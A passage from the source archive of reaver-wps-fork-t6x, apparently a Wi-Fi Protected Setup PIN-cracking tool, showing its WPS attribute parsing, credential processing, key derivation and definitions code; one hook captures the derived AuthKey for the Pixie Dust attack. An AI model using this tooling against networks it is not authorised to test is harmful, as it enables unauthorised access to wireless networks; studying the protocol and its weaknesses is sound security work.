E-SNonce1 length " "%u", len); return -1; } attr->e_snonce1 = pos; break; case ATTR_E_SNONCE2: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-SNonce2 length " "%u", len); return -1; } attr->e_snonce2 = pos; break; case ATTR_KEY_WRAP_AUTH: if (len != WPS_KWA_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Key Wrap " "Authenticator length %u", len); return -1; } attr->key_wrap_auth = pos; break; case ATTR_AUTH_TYPE: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Authentication " "Type length %u", len); return -1; } attr->auth_type = pos; break; case ATTR_ENCR_TYPE: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Encryption " "Type length %u", len); return -1; } attr->encr_type = pos; break; case ATTR_NETWORK_INDEX: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Network Index " "length %u", len); return -1; } attr->network_idx = pos; break; case ATTR_NETWORK_KEY_INDEX: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Network Key Index " "length %u", len); return -1; } attr->network_key_idx = pos; break; case ATTR_MAC_ADDR: if (len != ETH_ALEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid MAC Address " "length %u", len); return -1; } attr->mac_addr = pos; break; case ATTR_KEY_PROVIDED_AUTO: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Key Provided " "Automatically length %u", len); return -1; } attr->key_prov_auto = pos; break; case ATTR_802_1X_ENABLED: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid 802.1X Enabled " "length %u", len); return -1; } attr->dot1x_enabled = pos; break; case ATTR_SELECTED_REGISTRAR: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Selected Registrar" " length %u", len); return -1; } attr->selected_registrar = pos; break; case ATTR_REQUEST_TYPE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Request Type " "length %u", len); return -1; } attr->request_type = pos; break; case ATTR_RESPONSE_TYPE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Response Type " "length %u", len); return -1; } attr->response_type = pos; break; case ATTR_MANUFACTURER: attr->manufacturer = pos; attr->manufacturer_len = len; break; case ATTR_MODEL_NAME: attr->model_name = pos; attr->model_name_len = len; break; case ATTR_MODEL_NUMBER: attr->model_number = pos; attr->model_number_len = len; break; case ATTR_SERIAL_NUMBER: attr->serial_number = pos; attr->serial_number_len = len; break; case ATTR_DEV_NAME: attr->dev_name = pos; attr->dev_name_len = len; break; case ATTR_PUBLIC_KEY: attr->public_key = pos; attr->public_key_len = len; break; case ATTR_ENCR_SETTINGS: attr->encr_settings = pos; attr->encr_settings_len = len; break; case ATTR_CRED: if (attr->num_cred >= MAX_CRED_COUNT) { wpa_printf(MSG_DEBUG, "WPS: Skipped Credential " "attribute (max %d credentials)", MAX_CRED_COUNT); break; } attr->cred[attr->num_cred] = pos; attr->cred_len[attr->num_cred] = len; attr->num_cred++; break; case ATTR_SSID: attr->ssid = pos; attr->ssid_len = len; break; case ATTR_NETWORK_KEY: attr->network_key = pos; attr->network_key_len = len; break; case ATTR_EAP_TYPE: attr->eap_type = pos; attr->eap_type_len = len; break; case ATTR_EAP_IDENTITY: attr->eap_identity = pos; attr->eap_identity_len = len; break; case ATTR_AP_SETUP_LOCKED: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid AP Setup Locked " "length %u", len); return -1; } attr->ap_setup_locked = pos; break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported attribute type 0x%x " "len=%u", type, len); break; } return 0; } int wps_parse_msg(const struct wpabuf *msg, struct wps_parse_attr *attr) { const u8 *pos, *end; u16 type, len; os_memset(attr, 0, sizeof(*attr)); pos = wpabuf_head(msg); end = pos + wpabuf_len(msg); while (pos < end) { if (end - pos < 4) { wpa_printf(MSG_DEBUG, "WPS: Invalid message - " "%lu bytes remaining", (unsigned long) (end - pos)); return -1; } type = WPA_GET_BE16(pos); pos += 2; len = WPA_GET_BE16(pos); pos += 2; wpa_printf(MSG_MSGDUMP, "WPS: attr type=0x%x len=%u", type, len); if (len > end - pos) { wpa_printf(MSG_DEBUG, "WPS: Attribute overflow"); return -1; } #ifdef WPS_WORKAROUNDS if (type == 0 && len == 0) { /* * Mac OS X 10.6 seems to be adding 0x00 padding to the * end of M1. Skip those to avoid interop issues. */ uintptr_t i, left = end - pos; for (i = 0; i < left; i++) { if (pos[i]) break; } if (i == left) { wpa_printf(MSG_DEBUG, "WPS: Workaround - skip " "unexpected message padding"); break; } } #endif /* WPS_WORKAROUNDS */ if (wps_set_attr(attr, type, pos, len) < 0) return -1; pos += len; } return 0; } reaver-wps-fork-t6x-1.6.6/src/wps/wps_attr_process.c000066400000000000000000000202171363372615500224570ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - attribute processing * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha256.h" #include "wps_i.h" int wps_process_authenticator(struct wps_data *wps, const u8 *authenticator, const struct wpabuf *msg) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (authenticator == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Authenticator attribute " "included"); return -1; } if (wps->last_msg == NULL) { wpa_printf(MSG_DEBUG, "WPS: Last message not available for " "validating authenticator"); return -1; } /* Authenticator = HMAC-SHA256_AuthKey(M_prev || M_curr*) * (M_curr* is M_curr without the Authenticator attribute) */ addr[0] = wpabuf_head(wps->last_msg); len[0] = wpabuf_len(wps->last_msg); addr[1] = wpabuf_head(msg); len[1] = wpabuf_len(msg) - 4 - WPS_AUTHENTICATOR_LEN; hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 2, addr, len, hash); if (os_memcmp(hash, authenticator, WPS_AUTHENTICATOR_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Incorrect Authenticator"); return -1; } return 0; } int wps_process_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg, const u8 *key_wrap_auth) { u8 hash[SHA256_MAC_LEN]; const u8 *head; size_t len; if (key_wrap_auth == NULL) { wpa_printf(MSG_DEBUG, "WPS: No KWA in decrypted attribute"); return -1; } head = wpabuf_head(msg); len = wpabuf_len(msg) - 4 - WPS_KWA_LEN; if (head + len != key_wrap_auth - 4) { wpa_printf(MSG_DEBUG, "WPS: KWA not in the end of the " "decrypted attribute"); return -1; } hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, head, len, hash); if (os_memcmp(hash, key_wrap_auth, WPS_KWA_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid KWA"); return -1; } return 0; } static int wps_process_cred_network_idx(struct wps_credential *cred, const u8 *idx) { if (idx == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Network Index"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Network Index: %d", *idx); return 0; } static int wps_process_cred_ssid(struct wps_credential *cred, const u8 *ssid, size_t ssid_len) { if (ssid == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include SSID"); return -1; } /* Remove zero-padding since some Registrar implementations seem to use * hardcoded 32-octet length for this attribute */ while (ssid_len > 0 && ssid[ssid_len - 1] == 0) ssid_len--; wpa_hexdump_ascii(MSG_DEBUG, "WPS: SSID", ssid, ssid_len); if (ssid_len <= sizeof(cred->ssid)) { os_memcpy(cred->ssid, ssid, ssid_len); cred->ssid_len = ssid_len; } return 0; } static int wps_process_cred_auth_type(struct wps_credential *cred, const u8 *auth_type) { if (auth_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Authentication Type"); return -1; } cred->auth_type = WPA_GET_BE16(auth_type); wpa_printf(MSG_DEBUG, "WPS: Authentication Type: 0x%x", cred->auth_type); return 0; } static int wps_process_cred_encr_type(struct wps_credential *cred, const u8 *encr_type) { if (encr_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Encryption Type"); return -1; } cred->encr_type = WPA_GET_BE16(encr_type); wpa_printf(MSG_DEBUG, "WPS: Encryption Type: 0x%x", cred->encr_type); return 0; } static int wps_process_cred_network_key_idx(struct wps_credential *cred, const u8 *key_idx) { if (key_idx == NULL) return 0; /* optional attribute */ wpa_printf(MSG_DEBUG, "WPS: Network Key Index: %d", *key_idx); cred->key_idx = *key_idx; return 0; } static int wps_process_cred_network_key(struct wps_credential *cred, const u8 *key, size_t key_len) { if (key == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "Network Key"); if (cred->auth_type == WPS_AUTH_OPEN && cred->encr_type == WPS_ENCR_NONE) { wpa_printf(MSG_DEBUG, "WPS: Workaround - Allow " "missing mandatory Network Key attribute " "for open network"); return 0; } return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: Network Key", key, key_len); if (key_len <= sizeof(cred->key)) { os_memcpy(cred->key, key, key_len); cred->key_len = key_len; } return 0; } static int wps_process_cred_mac_addr(struct wps_credential *cred, const u8 *mac_addr) { if (mac_addr == NULL) { wpa_printf(MSG_DEBUG, "WPS: Credential did not include " "MAC Address"); return -1; } wpa_printf(MSG_DEBUG, "WPS: MAC Address " MACSTR, MAC2STR(mac_addr)); os_memcpy(cred->mac_addr, mac_addr, ETH_ALEN); return 0; } static int wps_process_cred_eap_type(struct wps_credential *cred, const u8 *eap_type, size_t eap_type_len) { if (eap_type == NULL) return 0; /* optional attribute */ wpa_hexdump(MSG_DEBUG, "WPS: EAP Type", eap_type, eap_type_len); return 0; } static int wps_process_cred_eap_identity(struct wps_credential *cred, const u8 *identity, size_t identity_len) { if (identity == NULL) return 0; /* optional attribute */ wpa_hexdump_ascii(MSG_DEBUG, "WPS: EAP Identity", identity, identity_len); return 0; } static int wps_process_cred_key_prov_auto(struct wps_credential *cred, const u8 *key_prov_auto) { if (key_prov_auto == NULL) return 0; /* optional attribute */ wpa_printf(MSG_DEBUG, "WPS: Key Provided Automatically: %d", *key_prov_auto); return 0; } static int wps_process_cred_802_1x_enabled(struct wps_credential *cred, const u8 *dot1x_enabled) { if (dot1x_enabled == NULL) return 0; /* optional attribute */ wpa_printf(MSG_DEBUG, "WPS: 802.1X Enabled: %d", *dot1x_enabled); return 0; } static void wps_workaround_cred_key(struct wps_credential *cred) { if (cred->auth_type & (WPS_AUTH_WPAPSK | WPS_AUTH_WPA2PSK) && cred->key_len > 8 && cred->key_len < 64 && cred->key[cred->key_len - 1] == 0) { /* * A deployed external registrar is known to encode ASCII * passphrases incorrectly. Remove the extra NULL termination * to fix the encoding. */ wpa_printf(MSG_DEBUG, "WPS: Workaround - remove NULL " "termination from ASCII passphrase"); cred->key_len--; } } int wps_process_cred(struct wps_parse_attr *attr, struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: Process Credential"); /* TODO: support multiple Network Keys */ if (wps_process_cred_network_idx(cred, attr->network_idx) || wps_process_cred_ssid(cred, attr->ssid, attr->ssid_len) || wps_process_cred_auth_type(cred, attr->auth_type) || wps_process_cred_encr_type(cred, attr->encr_type) || wps_process_cred_network_key_idx(cred, attr->network_key_idx) || wps_process_cred_network_key(cred, attr->network_key, attr->network_key_len) || wps_process_cred_mac_addr(cred, attr->mac_addr) || wps_process_cred_eap_type(cred, attr->eap_type, attr->eap_type_len) || wps_process_cred_eap_identity(cred, attr->eap_identity, attr->eap_identity_len) || wps_process_cred_key_prov_auto(cred, attr->key_prov_auto) || wps_process_cred_802_1x_enabled(cred, attr->dot1x_enabled)) return -1; wps_workaround_cred_key(cred); return 0; } int wps_process_ap_settings(struct wps_parse_attr *attr, struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: Processing AP Settings"); os_memset(cred, 0, sizeof(*cred)); /* TODO: optional attributes New Password and Device Password ID */ if (wps_process_cred_ssid(cred, attr->ssid, attr->ssid_len) || wps_process_cred_auth_type(cred, attr->auth_type) || wps_process_cred_encr_type(cred, attr->encr_type) || wps_process_cred_network_key_idx(cred, attr->network_key_idx) || wps_process_cred_network_key(cred, attr->network_key, attr->network_key_len) || wps_process_cred_mac_addr(cred, attr->mac_addr)) return -1; wps_workaround_cred_key(cred); return 0; } reaver-wps-fork-t6x-1.6.6/src/wps/wps_common.c000066400000000000000000000362521363372615500212450ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - common functionality * Copyright (c) 2008-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "crypto/dh_group5.h" #include "crypto/sha1.h" #include "crypto/sha256.h" #include "wps_i.h" #include "wps_dev_attr.h" #include "globule.h" #include "pixie.h" void wps_kdf(const u8 *key, const u8 *label_prefix, size_t label_prefix_len, const char *label, u8 *res, size_t res_len) { u8 i_buf[4], key_bits[4]; const u8 *addr[4]; size_t len[4]; int i, iter; u8 hash[SHA256_MAC_LEN], *opos; size_t left; WPA_PUT_BE32(key_bits, res_len * 8); addr[0] = i_buf; len[0] = sizeof(i_buf); addr[1] = label_prefix; len[1] = label_prefix_len; addr[2] = (const u8 *) label; len[2] = os_strlen(label); addr[3] = key_bits; len[3] = sizeof(key_bits); iter = (res_len + SHA256_MAC_LEN - 1) / SHA256_MAC_LEN; opos = res; left = res_len; for (i = 1; i <= iter; i++) { WPA_PUT_BE32(i_buf, i); hmac_sha256_vector(key, SHA256_MAC_LEN, 4, addr, len, hash); if (i < iter) { os_memcpy(opos, hash, SHA256_MAC_LEN); opos += SHA256_MAC_LEN; left -= SHA256_MAC_LEN; } else os_memcpy(opos, hash, left); } } int wps_derive_keys(struct wps_data *wps) { struct wpabuf *pubkey, *dh_shared; u8 dhkey[SHA256_MAC_LEN], kdk[SHA256_MAC_LEN]; const u8 *addr[3]; size_t len[3]; u8 keys[WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN]; if (wps->dh_privkey == NULL) { wpa_printf(MSG_DEBUG, "WPS: Own DH private key not available"); return -1; } pubkey = wps->registrar ? wps->dh_pubkey_e : wps->dh_pubkey_r; if (pubkey == NULL) { wpa_printf(MSG_DEBUG, "WPS: Peer DH public key not available"); return -1; } wpa_hexdump_buf_key(MSG_DEBUG, "WPS: DH Private Key", wps->dh_privkey); wpa_hexdump_buf(MSG_DEBUG, "WPS: DH peer Public Key", pubkey); dh_shared = dh5_derive_shared(wps->dh_ctx, pubkey, wps->dh_privkey); dh5_free(wps->dh_ctx); wps->dh_ctx = NULL; dh_shared = wpabuf_zeropad(dh_shared, 192); if (dh_shared == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to derive DH shared key"); return -1; } /* Own DH private key is not needed anymore */ wpabuf_free(wps->dh_privkey); wps->dh_privkey = NULL; wpa_hexdump_buf_key(MSG_DEBUG, "WPS: DH shared key", dh_shared); /* DHKey = SHA-256(g^AB mod p) */ addr[0] = wpabuf_head(dh_shared); len[0] = wpabuf_len(dh_shared); sha256_vector(1, addr, len, dhkey); wpa_hexdump_key(MSG_DEBUG, "WPS: DHKey", dhkey, sizeof(dhkey)); wpabuf_free(dh_shared); /* KDK = HMAC-SHA-256_DHKey(N1 || EnrolleeMAC || N2) */ addr[0] = wps->nonce_e; len[0] = WPS_NONCE_LEN; addr[1] = wps->mac_addr_e; len[1] = ETH_ALEN; addr[2] = wps->nonce_r; len[2] = WPS_NONCE_LEN; hmac_sha256_vector(dhkey, sizeof(dhkey), 3, addr, len, kdk); wpa_hexdump_key(MSG_DEBUG, "WPS: KDK", kdk, sizeof(kdk)); wps_kdf(kdk, NULL, 0, "Wi-Fi Easy and Secure Key Derivation", keys, sizeof(keys)); os_memcpy(wps->authkey, keys, WPS_AUTHKEY_LEN); os_memcpy(wps->keywrapkey, keys + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN); os_memcpy(wps->emsk, keys + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: AuthKey", wps->authkey, WPS_AUTHKEY_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: KeyWrapKey", wps->keywrapkey, WPS_KEYWRAPKEY_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: EMSK", wps->emsk, WPS_EMSK_LEN); if(pixie.do_pixie) { char buf[4096]; pixie_format(wps->authkey, WPS_AUTHKEY_LEN, buf); PIXIE_SET(authkey, buf); } return 0; } void wps_derive_psk(struct wps_data *wps, const u8 *dev_passwd, size_t dev_passwd_len) { u8 hash[SHA256_MAC_LEN]; hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, dev_passwd, (dev_passwd_len + 1) / 2, hash); os_memcpy(wps->psk1, hash, WPS_PSK_LEN); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, dev_passwd + (dev_passwd_len + 1) / 2, dev_passwd_len / 2, hash); os_memcpy(wps->psk2, hash, WPS_PSK_LEN); wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: Device Password", dev_passwd, dev_passwd_len); wpa_hexdump_key(MSG_DEBUG, "WPS: PSK1", wps->psk1, WPS_PSK_LEN); wpa_hexdump_key(MSG_DEBUG, "WPS: PSK2", wps->psk2, WPS_PSK_LEN); } struct wpabuf * wps_decrypt_encr_settings(struct wps_data *wps, const u8 *encr, size_t encr_len) { struct wpabuf *decrypted; const size_t block_size = 16; size_t i; u8 pad; const u8 *pos; /* AES-128-CBC */ if (encr == NULL || encr_len < 2 * block_size || encr_len % block_size) { wpa_printf(MSG_DEBUG, "WPS: No Encrypted Settings received"); return NULL; } decrypted = wpabuf_alloc(encr_len - block_size); if (decrypted == NULL) return NULL; wpa_hexdump(MSG_MSGDUMP, "WPS: Encrypted Settings", encr, encr_len); wpabuf_put_data(decrypted, encr + block_size, encr_len - block_size); if (aes_128_cbc_decrypt(wps->keywrapkey, encr, wpabuf_mhead(decrypted), wpabuf_len(decrypted))) { wpabuf_free(decrypted); return NULL; } wpa_hexdump_buf_key(MSG_MSGDUMP, "WPS: Decrypted Encrypted Settings", decrypted); pos = wpabuf_head_u8(decrypted) + wpabuf_len(decrypted) - 1; pad = *pos; if (pad > wpabuf_len(decrypted)) { wpa_printf(MSG_DEBUG, "WPS: Invalid PKCS#5 v2.0 pad value"); wpabuf_free(decrypted); return NULL; } for (i = 0; i < pad; i++) { if (*pos-- != pad) { wpa_printf(MSG_DEBUG, "WPS: Invalid PKCS#5 v2.0 pad " "string"); wpabuf_free(decrypted); return NULL; } } decrypted->used -= pad; return decrypted; } /** * wps_pin_checksum - Compute PIN checksum * @pin: Seven digit PIN (i.e., eight digit PIN without the checksum digit) * Returns: Checksum digit */ unsigned int wps_pin_checksum(unsigned int pin) { unsigned int accum = 0; while (pin) { accum += 3 * (pin % 10); pin /= 10; accum += pin % 10; pin /= 10; } return (10 - accum % 10) % 10; } /** * wps_pin_valid - Check whether a PIN has a valid checksum * @pin: Eight digit PIN (i.e., including the checksum digit) * Returns: 1 if checksum digit is valid, or 0 if not */ unsigned int wps_pin_valid(unsigned int pin) { return wps_pin_checksum(pin / 10) == (pin % 10); } /** * wps_generate_pin - Generate a random PIN * Returns: Eight digit PIN (i.e., including the checksum digit) */ unsigned int wps_generate_pin(void) { unsigned int val; /* Generate seven random digits for the PIN */ if (os_get_random((unsigned char *) &val, sizeof(val)) < 0) { struct os_time now; os_get_time(&now); val = os_random() ^ now.sec ^ now.usec; } val %= 10000000; /* Append checksum digit */ return val * 10 + wps_pin_checksum(val); } void wps_fail_event(struct wps_context *wps, enum wps_msg_type msg) { union wps_event_data data; if (wps->event_cb == NULL) return; os_memset(&data, 0, sizeof(data)); data.fail.msg = msg; wps->event_cb(wps->cb_ctx, WPS_EV_FAIL, &data); } void wps_success_event(struct wps_context *wps) { if (wps->event_cb == NULL) return; wps->event_cb(wps->cb_ctx, WPS_EV_SUCCESS, NULL); } void wps_pwd_auth_fail_event(struct wps_context *wps, int enrollee, int part) { union wps_event_data data; if (wps->event_cb == NULL) return; os_memset(&data, 0, sizeof(data)); data.pwd_auth_fail.enrollee = enrollee; data.pwd_auth_fail.part = part; wps->event_cb(wps->cb_ctx, WPS_EV_PWD_AUTH_FAIL, &data); } void wps_pbc_overlap_event(struct wps_context *wps) { if (wps->event_cb == NULL) return; wps->event_cb(wps->cb_ctx, WPS_EV_PBC_OVERLAP, NULL); } void wps_pbc_timeout_event(struct wps_context *wps) { if (wps->event_cb == NULL) return; wps->event_cb(wps->cb_ctx, WPS_EV_PBC_TIMEOUT, NULL); } #ifdef CONFIG_WPS_OOB static struct wpabuf * wps_get_oob_cred(struct wps_context *wps) { struct wps_data data; struct wpabuf *plain; plain = wpabuf_alloc(500); if (plain == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "credential"); return NULL; } os_memset(&data, 0, sizeof(data)); data.wps = wps; data.auth_type = wps->auth_types; data.encr_type = wps->encr_types; if (wps_build_version(plain) || wps_build_cred(&data, plain)) { wpabuf_free(plain); return NULL; } return plain; } static struct wpabuf * wps_get_oob_dev_pwd(struct wps_context *wps) { struct wpabuf *data; data = wpabuf_alloc(9 + WPS_OOB_DEVICE_PASSWORD_ATTR_LEN); if (data == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "device password attribute"); return NULL; } wpabuf_free(wps->oob_conf.dev_password); wps->oob_conf.dev_password = wpabuf_alloc(WPS_OOB_DEVICE_PASSWORD_LEN * 2 + 1); if (wps->oob_conf.dev_password == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "device password"); wpabuf_free(data); return NULL; } if (wps_build_version(data) || wps_build_oob_dev_password(data, wps)) { wpa_printf(MSG_ERROR, "WPS: Build OOB device password " "attribute error"); wpabuf_free(data); return NULL; } return data; } static int wps_parse_oob_dev_pwd(struct wps_context *wps, struct wpabuf *data) { struct oob_conf_data *oob_conf = &wps->oob_conf; struct wps_parse_attr attr; const u8 *pos; if (wps_parse_msg(data, &attr) < 0 || attr.oob_dev_password == NULL) { wpa_printf(MSG_ERROR, "WPS: OOB device password not found"); return -1; } pos = attr.oob_dev_password; oob_conf->pubkey_hash = wpabuf_alloc_copy(pos, WPS_OOB_PUBKEY_HASH_LEN); if (oob_conf->pubkey_hash == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "public key hash"); return -1; } pos += WPS_OOB_PUBKEY_HASH_LEN; wps->oob_dev_pw_id = WPA_GET_BE16(pos); pos += sizeof(wps->oob_dev_pw_id); oob_conf->dev_password = wpabuf_alloc(WPS_OOB_DEVICE_PASSWORD_LEN * 2 + 1); if (oob_conf->dev_password == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to allocate memory for OOB " "device password"); return -1; } wpa_snprintf_hex_uppercase(wpabuf_put(oob_conf->dev_password, wpabuf_size(oob_conf->dev_password)), wpabuf_size(oob_conf->dev_password), pos, WPS_OOB_DEVICE_PASSWORD_LEN); return 0; } static int wps_parse_oob_cred(struct wps_context *wps, struct wpabuf *data) { struct wpabuf msg; struct wps_parse_attr attr; size_t i; if (wps_parse_msg(data, &attr) < 0 || attr.num_cred <= 0) { wpa_printf(MSG_ERROR, "WPS: OOB credential not found"); return -1; } for (i = 0; i < attr.num_cred; i++) { struct wps_credential local_cred; struct wps_parse_attr cattr; os_memset(&local_cred, 0, sizeof(local_cred)); wpabuf_set(&msg, attr.cred[i], attr.cred_len[i]); if (wps_parse_msg(&msg, &cattr) < 0 || wps_process_cred(&cattr, &local_cred)) { wpa_printf(MSG_ERROR, "WPS: Failed to parse OOB " "credential"); return -1; } wps->cred_cb(wps->cb_ctx, &local_cred); } return 0; } int wps_process_oob(struct wps_context *wps, struct oob_device_data *oob_dev, int registrar) { struct wpabuf *data; int ret, write_f, oob_method = wps->oob_conf.oob_method; void *oob_priv; write_f = oob_method == OOB_METHOD_DEV_PWD_E ? !registrar : registrar; oob_priv = oob_dev->init_func(wps, oob_dev, registrar); if (oob_priv == NULL) { wpa_printf(MSG_ERROR, "WPS: Failed to initialize OOB device"); return -1; } if (write_f) { if (oob_method == OOB_METHOD_CRED) data = wps_get_oob_cred(wps); else data = wps_get_oob_dev_pwd(wps); ret = 0; if (data == NULL || oob_dev->write_func(oob_priv, data) < 0) ret = -1; } else { data = oob_dev->read_func(oob_priv); if (data == NULL) ret = -1; else { if (oob_method == OOB_METHOD_CRED) ret = wps_parse_oob_cred(wps, data); else ret = wps_parse_oob_dev_pwd(wps, data); } } wpabuf_free(data); oob_dev->deinit_func(oob_priv); if (ret < 0) { wpa_printf(MSG_ERROR, "WPS: Failed to process OOB data"); return -1; } return 0; } struct oob_device_data * wps_get_oob_device(char *device_type) { #ifdef CONFIG_WPS_UFD if (os_strstr(device_type, "ufd") != NULL) return &oob_ufd_device_data; #endif /* CONFIG_WPS_UFD */ #ifdef CONFIG_WPS_NFC if (os_strstr(device_type, "nfc") != NULL) return &oob_nfc_device_data; #endif /* CONFIG_WPS_NFC */ return NULL; } #ifdef CONFIG_WPS_NFC struct oob_nfc_device_data * wps_get_oob_nfc_device(char *device_name) { if (device_name == NULL) return NULL; #ifdef CONFIG_WPS_NFC_PN531 if (os_strstr(device_name, "pn531") != NULL) return &oob_nfc_pn531_device_data; #endif /* CONFIG_WPS_NFC_PN531 */ return NULL; } #endif /* CONFIG_WPS_NFC */ int wps_get_oob_method(char *method) { if (os_strstr(method, "pin-e") != NULL) return OOB_METHOD_DEV_PWD_E; if (os_strstr(method, "pin-r") != NULL) return OOB_METHOD_DEV_PWD_R; if (os_strstr(method, "cred") != NULL) return OOB_METHOD_CRED; return OOB_METHOD_UNKNOWN; } #endif /* CONFIG_WPS_OOB */ int wps_dev_type_str2bin(const char *str, u8 dev_type[WPS_DEV_TYPE_LEN]) { const char *pos; /* -- */ WPA_PUT_BE16(dev_type, atoi(str)); pos = os_strchr(str, '-'); if (pos == NULL) return -1; pos++; if (hexstr2bin(pos, &dev_type[2], 4)) return -1; pos = os_strchr(pos, '-'); if (pos == NULL) return -1; pos++; WPA_PUT_BE16(&dev_type[6], atoi(pos)); return 0; } char * wps_dev_type_bin2str(const u8 dev_type[WPS_DEV_TYPE_LEN], char *buf, size_t buf_len) { int ret; ret = os_snprintf(buf, buf_len, "%u-%08X-%u", WPA_GET_BE16(dev_type), WPA_GET_BE32(&dev_type[2]), WPA_GET_BE16(&dev_type[6])); if (ret < 0 || (unsigned int) ret >= buf_len) return NULL; return buf; } void uuid_gen_mac_addr(const u8 *mac_addr, u8 *uuid) { const u8 *addr[2]; size_t len[2]; u8 hash[SHA1_MAC_LEN]; u8 nsid[16] = { 0x52, 0x64, 0x80, 0xf8, 0xc9, 0x9b, 0x4b, 0xe5, 0xa6, 0x55, 0x58, 0xed, 0x5f, 0x5d, 0x60, 0x84 }; addr[0] = nsid; len[0] = sizeof(nsid); addr[1] = mac_addr; len[1] = 6; sha1_vector(2, addr, len, hash); os_memcpy(uuid, hash, 16); /* Version: 5 = named-based version using SHA-1 */ uuid[6] = (5 << 4) | (uuid[6] & 0x0f); /* Variant specified in RFC 4122 */ uuid[8] = 0x80 | (uuid[8] & 0x3f); } u16 wps_config_methods_str2bin(const char *str) { u16 methods = 0; if (str == NULL) { /* Default to enabling methods based on build configuration */ methods |= WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD; #ifdef CONFIG_WPS_UFD methods |= WPS_CONFIG_USBA; #endif /* CONFIG_WPS_UFD */ #ifdef CONFIG_WPS_NFC methods |= WPS_CONFIG_NFC_INTERFACE; #endif /* CONFIG_WPS_NFC */ } else { if (os_strstr(str, "usba")) methods |= WPS_CONFIG_USBA; if (os_strstr(str, "ethernet")) methods |= WPS_CONFIG_ETHERNET; if (os_strstr(str, "label")) methods |= WPS_CONFIG_LABEL; if (os_strstr(str, "display")) methods |= WPS_CONFIG_DISPLAY; if (os_strstr(str, "ext_nfc_token")) methods |= WPS_CONFIG_EXT_NFC_TOKEN; if (os_strstr(str, "int_nfc_token")) methods |= WPS_CONFIG_INT_NFC_TOKEN; if (os_strstr(str, "nfc_interface")) methods |= WPS_CONFIG_NFC_INTERFACE; if (os_strstr(str, "push_button")) methods |= WPS_CONFIG_PUSHBUTTON; if (os_strstr(str, "keypad")) methods |= WPS_CONFIG_KEYPAD; } return methods; } reaver-wps-fork-t6x-1.6.6/src/wps/wps_defs.h000066400000000000000000000165521363372615500207040ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - message definitions * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_DEFS_H #define WPS_DEFS_H #define WPS_VERSION 0x10 /* Diffie-Hellman 1536-bit MODP Group; RFC 3526, Group 5 */ #define WPS_DH_GROUP 5 #define WPS_UUID_LEN 16 #define WPS_NONCE_LEN 16 #define WPS_AUTHENTICATOR_LEN 8 #define WPS_AUTHKEY_LEN 32 #define WPS_KEYWRAPKEY_LEN 16 #define WPS_EMSK_LEN 32 #define WPS_PSK_LEN 16 #define WPS_SECRET_NONCE_LEN 16 #define WPS_HASH_LEN 32 #define WPS_KWA_LEN 8 #define WPS_MGMTAUTHKEY_LEN 32 #define WPS_MGMTENCKEY_LEN 16 #define WPS_MGMT_KEY_ID_LEN 16 #define 